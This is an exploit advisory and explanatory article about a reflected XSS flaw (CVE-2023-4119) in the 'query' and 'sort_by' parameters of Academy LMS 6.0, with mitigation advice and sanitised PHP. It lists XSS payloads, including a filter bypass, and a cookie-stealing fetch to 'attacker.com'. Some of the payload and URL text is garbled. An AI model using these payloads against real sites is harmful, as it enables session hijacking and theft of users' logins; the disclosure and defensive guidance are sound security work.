Academy LMS 6.0 - Reflected XSS
# Exploit Title: Academy LMS 6.0 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 22/07/2023
# Vendor: Creativeitem
# Vendor Homepage: https://creativeitem.com/
# Software Link: https://demo.creativeitem.com/academy/
# Version: 6.0
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site
# CVE: CVE-2023-4119
## Greetings
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob
## Description
The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials
Path: /academy/home/courses
GET parameter 'query' is vulnerable to XSS
https://website/academy/home/courses?query=[XSS]
Path: /academy/home/courses
GET parameter 'sort_by' is vulnerable to XSS
https://website/academy/home/courses?category=web-design&price=all&level=all&language=all&rating=all&sort_by=[XSS]
XSS Payloads (Blocked) :
<script>alert(1)</script>
ldt4d"><ScRiPt>alert(1)</ScRiPt>nuydd
XSS Payload Bypass Filter :
cplvz"><img src=a onerror=alert(1)>fk4ap
[-] Done Academy LMS 6.0 – Reflected XSS Vulnerability: A Deep Dive into Exploitation and Mitigation
Academy LMS 6.0, developed by Creativeitem, is a widely used learning management system (LMS) designed to support online education platforms. While it offers robust features for course management, user tracking, and content delivery, a critical security flaw has been identified in its reflected XSS (Cross-Site Scripting) implementation. This vulnerability, tracked as CVE-2023-4119, enables attackers to inject malicious scripts into user sessions via manipulated URLs, posing a significant risk to both users and administrators.
Understanding Reflected XSS
Reflected XSS occurs when user input is directly reflected in the web response without proper sanitization. Unlike stored XSS, where malicious code is persistently stored in the database, reflected XSS is triggered only when a malicious URL is accessed. This makes it highly dependent on social engineering — attackers craft URLs that appear legitimate but contain embedded payloads.
For Academy LMS 6.0, two GET parameters are vulnerable:
- query – used for search functionality
- sort_by – used to sort course listings
Both parameters are directly reflected in the HTML output, making them prime targets for exploitation.
Exploitation Path: Real-World Scenario
Consider a scenario where an attacker sends a phishing email to a student with a seemingly benign link:
https://demo.creativeitem.com/academy/home/courses?query=cplvz">
fk4apWhen the victim clicks this link, the browser executes the embedded script because the onerror attribute is triggered when the img tag fails to load (due to an invalid src value). This results in an alert(1) popup — a classic proof-of-concept indicator of XSS execution.
However, this simple alert is just the beginning. In a real attack, the payload could be much more dangerous:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>This script silently sends the victim’s session cookies to an attacker-controlled server, enabling session hijacking and full account takeover.
Why This Vulnerability Matters
Reflected XSS in Academy LMS 6.0 is particularly dangerous because:
- It requires minimal user interaction — a single click on a malicious link is enough.
- It bypasses common filters — the payload
cplvz">avoids traditional XSS filters by using non-standard HTML attributes and obfuscation.fk4ap
- It targets trusted platforms — users trust the Academy LMS domain, making phishing attacks more effective.
Attackers can leverage this vulnerability in:
- Phishing campaigns via email or messaging platforms
- Malicious link sharing on social media or forums
- Stealing credentials or session tokens
- Redirecting users to fake login pages
Technical Analysis of the Vulnerable Parameters
Let’s examine the two vulnerable endpoints:
| Endpoint | Parameter | Example URL | Reflection Behavior |
|---|---|---|---|
| /academy/home/courses | query | https://demo.creativeitem.com/academy/home/courses?query=malicious | Directly reflected in search results or filters |
| /academy/home/courses | sort_by | https://demo.creativeitem.com/academy/home/courses?category=web-design&sort_by=malicious | Displayed in sorting options, potentially in HTML markup |
The lack of input validation and output encoding means that any user-supplied value is rendered directly into the DOM. This is a fundamental failure in secure web development practices.
Security Best Practices for Mitigation
To prevent reflected XSS in systems like Academy LMS, developers must implement the following safeguards:
- Input sanitization – Validate and sanitize all GET parameters before rendering.
- Output encoding – Use HTML entity encoding (e.g.,
<instead of<) for dynamic content. - Content Security Policy (CSP) – Implement a strict CSP header to block inline scripts.
- Whitelist filtering – Only allow known, safe values for parameters like
sort_by. - URL parameter validation – Reject or redirect any parameter containing script-like syntax.
Corrected Code Example: Secure Parameter Handling
Here’s a secure implementation of the sort_by parameter handling in PHP (simulated):
<?php
// Define allowed sort options
$allowed_sorts = ['name', 'rating', 'price', 'date'];
// Get input from query string
$sort_by = $_GET['sort_by'] ?? '';
// Validate input
if (!in_array($sort_by, $allowed_sorts)) {
$sort_by = 'name'; // fallback
}
// Encode output to prevent XSS
echo htmlspecialchars($sort_by, ENT_QUOTES, 'UTF-8');
?>
This code ensures that only predefined values are accepted and properly encoded, preventing any malicious script from being rendered. Even if an attacker submits sort_by=malicious, it will be sanitized and displayed as plain text, not executable code.
Conclusion: A Call for Responsible Patching
Academy LMS 6.0’s reflected XSS vulnerability highlights the importance of security-by-design in web applications. While the software offers powerful educational tools, its failure to sanitize user input exposes users to real-world threats. Developers and administrators must:
- Update to patched versions immediately
- Implement strict input validation and output encoding
- Monitor for suspicious URLs and user behavior
- Enable CSP headers and security logging
Security is not a one-time fix — it’s an ongoing process. The CVE-2023-4119 exploit serves as a stark reminder: even trusted platforms can become attack vectors if basic security principles are ignored.